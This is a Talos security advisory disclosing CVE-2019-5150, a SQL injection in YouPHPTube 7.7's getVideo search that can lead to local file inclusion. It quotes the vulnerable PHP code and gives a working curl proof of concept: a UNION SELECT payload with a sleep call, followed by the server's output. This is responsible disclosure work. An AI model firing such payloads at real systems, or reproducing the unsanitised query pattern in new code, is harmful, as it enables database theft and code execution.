Talos Vulnerability Report

TALOS-2019-0940

YouPHPTube /objects/video.php getVideo search code execution vulnerability

October 30, 2019
CVE Number

CVE-2019-5150

Summary

An exploitable SQL injection vulnerability exist in YouPHPTube 7.7. When the “VideoTags” plugin is enabled, a specially crafted unauthenticated HTTP request can cause a SQL injection, possibly leading to denial of service, exfiltration of the database and local file inclusion, which could potentially further lead to code execution. An attacker can send an HTTP request to trigger this vulnerability.

Tested Versions

YouPHPTube 7.7 commit b22e81d25b2a570f4867ea5dce5153ba4c76cc2d (Oct 15th 2019)

Product URLs

https://www.youphptube.com/

CVSSv3 Score

8.9 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:H

CWE

CWE-89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

Details

YouPHPTube is an open-source web application written in PHP which allows users to share, upload and import videos from external websites.

The getVideo function in /objects/video.php doesn’t handle user input safely:

    static function getVideo($id = "", $status = "viewable", $ignoreGroup = false, $random = false, $suggetedOnly = false, $showUnlisted = false, $ignoreTags = false, $activeUsersOnly = true) {
        ...
[1]     $sql = "SELECT u.*, v.*, "
                . " nv.title as next_title,"
                . " nv.clean_title as next_clean_title,"
                . " nv.filename as next_filename,"
                . " nv.id as next_id,"
                . " c.id as category_id,c.iconClass,c.name as category,c.iconClass,  c.clean_name as clean_category,c.description as category_description,c.nextVideoOrder as category_order, v.created as videoCreation, "
                . " (SELECT count(id) FROM likes as l where l.videos_id = v.id AND `like` = 1 ) as likes, "
                . " (SELECT count(id) FROM likes as l where l.videos_id = v.id AND `like` = -1 ) as dislikes ";
        ...
[2]     if (!empty($_GET['search'])) {
            $_POST['searchPhrase'] = $_GET['search'];
        }

        if (!empty($_POST['searchPhrase'])) {
[3]         if (YouPHPTubePlugin::isEnabledByName("VideoTags")) {
                $sql .= " AND (";
[4]             $sql .= "v.id IN (select videos_id FROM tags_has_videos LEFT JOIN tags as t ON tags_id = t.id AND t.name LIKE '%{$_POST['searchPhrase']}%' WHERE t.id is NOT NULL)";
                $sql .= BootGrid::getSqlSearchFromPost(array('v.title', 'v.description', 'c.name', 'c.description'), "OR");
                $sql .= ")";
            } else {
                $sql .= BootGrid::getSqlSearchFromPost(array('v.title', 'v.description', 'c.name', 'c.description'));
            }
        }
        ...
        $res = sqlDAL::readSql($sql);
[5]     $video = sqlDAL::fetchAssoc($res);
        sqlDAL::close($res);
        ...

At [1] the SQL query string is initialized, at [2] the $_GET['search'] and $_POST['searchPhrase'] parameters are extracted from the request. If the “VideoTags” plugin is enabled [3], the searchPhrase is directly inserted in the query string at [4], which is later executed [5].

This function is reachable by an unauthenticated user by requesting the page /index.php.

Note that after the query is executed, the view /view/modeYoutube.php is included in the request, which eventually executes the code block below:

<?php
$vType = $video['type'];
if ($vType == "linkVideo") {
    $vType = "video";
} else if ($vType == "live") {
    $vType = "../../plugin/Live/view/liveVideo";
} else if ($vType == "linkAudio") {
    $vType = "audio";
}
require "{$global['systemRootPath']}view/include/{$vType}.php";
?>

The vType variable is extracted from one of the columns from the SQL query previously described. This means that an attacker can exploit the SQL injection to include any local php file in the system (LFI), possibly executing arbitrary code.

Proof of Concept

The following proof-of-concept demonstrates both the SQL injection and the local file inclusion vulnerabilities:

$ time curl "http://localhost:8182/?search='))%20union%20select%20"$(perl -e 'print "1,"x45 . "1234," . "2,"x33')"sleep(3)--%20x"
...
<b>Warning</b>:  require(/var/www/html/view/include/1234.php): failed to open stream: No such file or directory in <b>/var/www/html/view/modeYoutube.php</b> on line <b>273</b><br />
<br />
<b>Fatal error</b>:  require(): Failed opening required '/var/www/html/view/include/1234.php' (include_path='.:/usr/local/lib/php') in <b>/var/www/html/view/modeYoutube.php</b> on line <b>273</b><br />
curl -s   0.01s user 0.01s system 0% cpu 9.379 total

The code tried to include the file 1234.php, and the query took nine seconds to execute (the same query is executed three times on the server side).

Timeline

2019-10-23 - Vendor disclosure
2019-10-29 - Vendor patched
2019-10-30 - Public release

Credit

Discovered by Claudio Bozzato of Cisco Talos